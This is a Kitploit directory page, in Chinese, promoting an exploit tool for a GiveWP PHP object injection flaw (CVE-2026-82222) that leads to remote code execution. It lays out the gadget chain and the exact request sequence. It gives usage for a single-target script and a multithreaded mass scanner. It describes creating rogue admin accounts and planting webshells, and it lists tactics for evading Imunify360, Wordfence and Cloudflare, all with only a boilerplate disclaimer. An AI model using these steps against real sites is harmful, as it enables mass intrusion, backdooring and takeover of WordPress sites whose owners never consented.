Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-82222 — GiveWP <= 4.16.7.1 未认证 PHP 对象注入 → 远程代码执行(RCE) | Kitploit
工具/GitHubGitHub/r0x19/cve-2026-82222
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubr0x19/cve-2026-82222

CVE-2026-82222

GiveWP <= 4.16.7.1 未认证 PHP 对象注入 → 远程代码执行(RCE)

查看仓库
1520天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-82222 — GiveWP <= 4.16.7.1 未认证 PHP 对象注入 → RCE

作者: Rx019
CVSS: 10.0(严重)
类型: 未认证 PHP 对象注入 → 远程代码执行
插件: GiveWP (give) — 捐赠插件与筹款平台
受影响版本: <= 4.16.7.1
已修复版本: 4.16.8


描述

GiveWP 将捐赠者的 last_name 未经清理地存储在 PHP 会话中。当提交捐赠时未包含 give_last 字段,GiveWP 会直接将数据库中的原始值反序列化到会话中。这使得未认证攻击者能够通过捐赠者资料端点将 PHP 序列化对象注入 last_name,然后通过提交精心构造的捐赠来触发反序列化——从而利用 GiveWP 捆绑的供应商库中预先构建的 POP 链实现任意命令执行。


POP 链

root@kitploit:~
TCPDF::__destruct()
  └─ Session::getBag()           ← 调用由 $attributeName 命名的方法
       └─ DonationFactory::__call()
            └─ system($command)   ← $command 来自 $attributeName

使用的供应商类:

类文件
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

利用流程

root@kitploit:~
1. 注册为捐赠者         → 已认证会话(wp-login cookie)
2. POST /wp-admin/profile.php
   last_name = 嵌入 system() 命令的序列化 TCPDF 链
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (省略 give_last 字段)
   → GiveWP 从数据库读取 last_name,将原始对象写入会话
4. GET /?p={form_id}
   → PHP 会话销毁触发 TCPDF::__destruct()
   → POP 链执行 system(command)
5. 确认 shell / 管理员创建成功

环境要求

root@kitploit:~
pip install requests rich

Python >= 3.9


文件

文件描述
CVE-2026-82222.py单目标 PoC — 详细的逐步输出
CVE-2026-82222-MASS.py批量扫描器 — 多线程批量模式

使用方法

单目标

root@kitploit:~
python CVE-2026-82222.py

交互式提示:

root@kitploit:~
  目标 URL: https://victim.com

或直接指定:

root@kitploit:~
python CVE-2026-82222.py https://victim.com

批量扫描器

root@kitploit:~
# 从文件批量扫描
python CVE-2026-82222-MASS.py -f targets.txt

# 自定义线程数
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# 内联多个目标
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# 交互式菜单
python CVE-2026-82222-MASS.py

批量文件格式:

root@kitploit:~
# 以 # 开头的行将被忽略
https://target1.com
https://target2.com
target3.com          # 协议自动补全为 https://
http://target4.com

输出

单目标模式

root@kitploit:~
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + direct)  https://victim.com           │
│  Version : 4.15.0                                     │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Method  : shell + direct (no .php write needed)       │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

批量模式摘要

root@kitploit:~
  Vulnerable : 12   Partial : 3   Patched : 44   Not Vuln : 21   Errors : 2   Total : 82

结果保存至 ~/Documents/CVE/CVE-2026-82222/:

文件内容
CVE-2026-82222_YYYYMMDD_HHMMSS.txt单次运行结果
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt完整批量结果
success_results.txt追加的 VULN/PARTIAL 行

攻击路径

该利用工具按顺序尝试两条主要路径:

路径 A — 直接创建管理员(不写入 shell 文件)

  1. 将 wp_create_user() PHP 代码以 base64 形式注入 TCPDF 链
  2. 触发该链 — GiveWP 在服务端执行代码
  3. 通过登录创建的管理员账户进行验证
  4. 通过 WordPress 插件/主题文件编辑器植入 shell

路径 B — GiveWP 链式 Shell 植入

当路径 A 失败或无法验证管理员登录时使用。

  1. 注册一个全新的捐赠者会话(新的 PHP 会话文件 — 避免路径 A 工作进程导致的锁竞争)
  2. 通过资料端点将 shell 植入命令注入 last_name
  3. 污染会话(提交不含 give_last 的捐赠)
  4. 触发反序列化(/?p={form_id})
  5. 确认 shell 存在于上传/插件/主题目录中
  6. 备用方案:id | tee 信标写入 uploads 目录下的 .txt 文件

路径 C — 通过 Shell 创建管理员

如果 shell 已确认但尚无管理员,则通过 WebShell 的 ?c= 参数使用 wp_create_user() 创建管理员。


WAF 处理

WAF策略
Imunify360剥离 X-Forwarded-For / X-Real-IP 伪造头
Wordfence从池中轮换 User-Agent
Cloudflare设置 Accept-Encoding: gzip, deflate, br

注意事项

  • 该利用工具要求 GiveWP 至少有一个已发布的捐赠表单
  • 目标站点必须启用注册功能(WordPress 核心设置)
  • PHP-FPM 工作进程池排空:直接管理员链执行后插入 30 秒休眠,以允许持有会话的工作进程在后续请求前释放
  • wp-config.php 中的 DISALLOW_FILE_EDIT 会阻止插件/主题编辑器向量 — 脚本会提前检测到这一点并转入路径 B
  • Shell 文件名:Rx{100-999}.php — 每次运行随机生成

免责声明

此工具仅用于授权的安全测试和研究目的。
仅可针对您拥有或已获得明确书面许可的系统使用。
未经授权的使用是非法且不道德的。

下载工具